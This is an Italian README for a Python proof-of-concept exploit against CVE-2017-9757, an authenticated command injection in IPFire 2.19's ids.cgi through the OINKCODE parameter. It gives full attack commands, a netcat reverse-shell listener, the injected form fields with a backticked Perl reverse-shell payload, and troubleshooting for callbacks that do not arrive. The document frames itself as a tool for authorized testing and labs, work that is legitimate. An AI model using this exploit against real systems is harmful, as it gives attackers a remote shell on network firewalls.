
Questo exploit si basa su CVE-2017-9757 ed è stato costruito sull'exploit originale di 0x09AL.
Proof of concept in Python per la vulnerabilità di command injection autenticata nella pagina ids.cgi di IPFire 2.19 tramite il parametro OINKCODE.
Solo per test di sicurezza autorizzati e laboratori di formazione. Esegui questo PoC solo contro sistemi che possiedi o per i quali hai esplicita autorizzazione al test. L'autore non è responsabile dell'uso improprio o dei danni causati da questo codice.
IPFire 2.19 è vulnerabile all'iniezione di comandi del sistema operativo nel parametro OINKCODE elaborato da /cgi-bin/ids.cgi. Il parametro viene incorporato in un comando shell senza una corretta neutralizzazione, consentendo a un utente autenticato di eseguire comandi sull'host IPFire.
La vulnerabilità è comunemente identificata come CVE-2017-9757 e corrisponde a CWE-78: neutralizzazione impropria degli elementi speciali usati in un comando del sistema operativo ('OS Command Injection').
Il PoC pubblico originale è stato testato contro IPFire 2.19 Core Update 110. Il modulo Metasploit considera le versioni fino a IPFire 2.19 con Core Update 110 all'interno del suo intervallo di verifica supportato.
Il PoC Python originale di Exploit-DB esegue una richiesta di verifica utilizzando:
OINKCODE = '`id`'
Successivamente dichiara il target vulnerabile solo se la risposta HTTP contiene:
uid=99(nobody)
Questa validazione non è affidabile. Il comando può essere eseguito mentre il suo output viene consumato dal comando shell costruito dalla CGI invece di essere riflesso nella risposta HTML restituita al client. Di conseguenza, il server può restituire una normale pagina HTTP 200 senza includere l'output di id, producendo un falso negativo.
Questa implementazione segue la logica di validazione usata dal modulo Metasploit:
/cgi-bin/pakfire.cgi con autenticazione HTTP Basic.<= 2.19 e Core Update <= 110 come apparentemente vulnerabili./cgi-bin/ids.cgi nel campo OINKCODE.200 come richiesta rifiutata o problema di autenticazione.uid=99(nobody).Il PoC usa anche un payload Perl di command shell, in linea con la famiglia di payload di comando supportata dal modulo Metasploit. Una risposta HTTP positiva da sola non prova che la reverse shell si sia connessa; è necessario verificare anche il listener e il percorso di rete.
Il criterio di successo importante del modulo Metasploit è che un codice di risposta inatteso indica credenziali non valide o una richiesta rifiutata. Non richiede che il corpo della risposta contenga l'output del comando iniettato.
requestsperlInstalla la dipendenza Python:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
La password viene richiesta in modo interattivo quando non viene fornito --password. Ciò è consigliato perché inserire una password direttamente in un comando può esporla tramite la cronologia della shell o l'elenco dei processi.
Usa un listener sull'indirizzo e sulla porta forniti come --lhost e --lport:
rlwrap nc -lvnp 4444
Se rlwrap non è installato, usa:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Per il consueto certificato HTTPS autofirmato di IPFire, è richiesto --insecure/-k. Usalo solo quando nel laboratorio la verifica del certificato non è intenzionalmente possibile.
Il target può essere fornito anche come URL base completo:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Usa questa opzione solo quando la versione IPFire è già stata confermata in modo indipendente:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Se Perl non è nel PATH predefinito del target, fornisci il suo percorso assoluto:
--perl-path /usr/bin/perl
HTTP 200 da ids.cgiCiò significa che la richiesta HTTP è stata accettata dalla CGI secondo lo stesso criterio pratico usato dal modulo Metasploit. Una risposta HTML normale è prevista e non è la prova che il controllo della vulnerabilità sia fallito.
Controlla il listener per la shell. Se la shell non arriva, verifica l'indirizzo di callback, il routing, le regole di uscita del firewall, la disponibilità di Perl e la porta selezionata.
HTTP 401 o HTTP 403La richiesta non è stata autorizzata. Controlla nome utente, password, URL del target, porta e se l'account può accedere all'interfaccia web di IPFire.
HTTP 404L'URL del target o il percorso CGI è probabilmente errato, oppure il servizio non è l'interfaccia web IPFire attesa.
Lo script non è riuscito a trovare la stringa di versione attesa in pakfire.cgi. Conferma manualmente il target prima di usare --skip-version-check.
Il comando iniettato può mantenere aperta la richiesta CGI mentre tenta il callback. Considera questo un segnale per controllare il listener, non una prova definitiva di una shell.
Lo script usa l'autenticazione HTTP Basic e invia i seguenti campi del modulo a ids.cgi:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
Il comando è racchiuso tra backtick perché l'applicazione vulnerabile passa il valore di OINKCODE a un comando shell. Il comportamento esatto della richiesta dipende dalla versione del target e dalla sua configurazione locale.
200 conferma che la richiesta è stata accettata, non che la reverse shell abbia raggiunto il listener.ipfire_oinkcode_exec.rbQuesto progetto è un'implementazione Python educativa basata sulla ricerca pubblica e sul proof of concept di 0x09AL, e sul modulo Metasploit mantenuto dalla community di Metasploit. Non è affiliato a IPFire, Exploit-DB o Rapid7, né da questi approvato.
| Caratteristica | PoC Python Exploit-DB 42149 | Exploit-DB 42369 / Metasploit | Questo PoC |
|---|
| Endpoint vulnerabile | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| Controllo versione | Nessuno | GET /cgi-bin/pakfire.cgi | Stesso controllo in stile Metasploit |
| Autenticazione | Basic Auth | Header Basic Auth | Basic Auth tramite requests.Session |
| Validazione iniziale | Esegue `id` e cerca nel corpo della risposta | Controlla la versione, poi invia il payload | Controlla la versione e usa il codice di risultato HTTP |
| Rischio di falsi negativi | Alto: dipende dalla presenza di uid=99(nobody) nella risposta | Evita la validazione del contenuto | Evita la validazione del contenuto |
| Reverse shell | Bash /dev/tcp | Payload di comando Unix di Metasploit | Command shell Perl IO::Socket::INET |
| Gestione TLS | Verifica del certificato disabilitata nel PoC | SSL abilitato di default | La verifica è disabilitata solo con -k/--insecure |
| Configurazione | Valori modificati direttamente nel sorgente | Opzioni di Metasploit | Argomenti da riga di comando |
| Opzione | Predefinito | Descrizione |
|---|
-t, --target | Obbligatorio | Host/IP del target o URL base completo |
--scheme | https | Schema usato quando il target è solo un host/IP |
--web-port | 444 | Porta dell'interfaccia web IPFire |
-u, --username | admin | Nome utente IPFire |
-p, --password | Prompt | Password; ometti per inserirla senza eco |
--lhost | Obbligatorio | Indirizzo del listener raggiungibile da IPFire |
--lport | 4444 | Porta del listener |
--perl-path | perl | Eseguibile Perl sul target |
--timeout | 10 | Timeout HTTP in secondi |
-k, --insecure | Disabilitato | Disabilita la verifica del certificato TLS |
--skip-version-check | Disabilitato | Salta il controllo di pakfire.cgi |
--check-only | Disabilitato | Esegue solo il controllo della versione |